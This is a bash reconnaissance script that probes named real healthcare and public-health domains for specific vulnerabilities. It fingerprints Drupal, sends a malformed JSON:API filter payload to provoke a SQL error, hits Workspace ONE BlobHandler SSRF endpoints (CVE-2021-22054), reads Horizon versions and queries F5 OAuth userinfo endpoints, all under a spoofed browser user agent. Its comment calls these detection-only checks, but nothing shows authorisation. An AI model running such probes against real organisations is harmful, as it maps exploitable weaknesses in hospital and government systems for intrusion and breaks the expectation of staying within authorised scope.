#!/bin/bash
# Targeted vuln DETECTION checks (no exploitation): Drupal 9082 detector, WS1 rewrite check, Horizon info
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
echo "===== publichealthmdc.com (Drupal CVE-2026-9082) ====="
code=$(curl -sk -m 10 -A "$UA" -o /tmp/ph.html -w '%{http_code}' https://publichealthmdc.com/)
echo "GET / -> $code"
grep -aoiE '<meta name="generator" content="Drupal[^"]*"|Drupal [0-9]+\.[0-9.]+' /tmp/ph.html | head -2
grep -aoiE 'x-generator:[^ ]*|x-drupal' /tmp/ph.html | head -2
curl -sk -m 10 -A "$UA" -o /dev/null -w 'CHANGELOG.txt -> %{http_code}\n' https://publichealthmdc.com/CHANGELOG.txt
code=$(curl -sk -m 10 -A "$UA" -o /tmp/phj.txt -w '%{http_code}' 'https://publichealthmdc.com/jsonapi/node/article')
echo "GET /jsonapi/node/article -> $code ($(head -c 60 /tmp/phj.txt | tr -d '\n'))"
code=$(curl -sk -m 12 -A "$UA" -o /tmp/phd.txt -w '%{http_code}' 'https://publichealthmdc.com/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][%60]=x')
echo "DETECT malformed-key -> $code $(grep -ao 'HY093' /tmp/phd.txt | head -1)"

echo "===== tenethealth WS1 (CVE-2021-22054) ====="
for h in airwatch.tenethealth.com tenairwatcheis.tenethealth.com; do
  code=$(curl -sk -m 10 -A "$UA" -o /tmp/w.txt -w '%{http_code}|%{redirect_url}' "https://$h/Catalog/BlobHandler.ashx?url=test")
  echo "$h Catalog/BlobHandler?url=test -> $code | $(head -c 80 /tmp/w.txt | tr -d '\n')"
  code=$(curl -sk -m 10 -A "$UA" -o /tmp/w2.txt -w '%{http_code}|%{redirect_url}' "https://$h/AirWatch/BlobHandler.ashx?url=test")
  echo "$h AirWatch/BlobHandler -> $code | $(head -c 80 /tmp/w2.txt | tr -d '\n')"
done

echo "===== sentara Horizon (info) ====="
for h in ecarerdsh.sentara.com ecarerdsheqx.sentara.com ecarerdshremote.sentara.com; do
  code=$(curl -sk -m 10 -A "$UA" -o /tmp/hz.html -w '%{http_code}' "https://$h/")
  echo "$h -> $code"
  grep -aoiE 'horizon[^"<>]{0,60}|version["= ]+[0-9.]+' /tmp/hz.html | head -3
done

echo "===== F5 sector userinfo endpoint (CVE-2026-94127 config) ====="
for h in uat.remote.health.wisconsin.gov uat.remotea.health.wisconsin.gov access.mcfarlandclinic.com access2.mcfarlandclinic.com eclink.mcfarlandclinic.com; do
  code=$(curl -sk -m 10 -A "$UA" -o /tmp/u.txt -w '%{http_code}' "https://$h/f5-oauth2/v1/userinfo")
  echo "$h userinfo -> $code | $(head -c 100 /tmp/u.txt | tr -d '\n')"
done
echo "===== done ====="
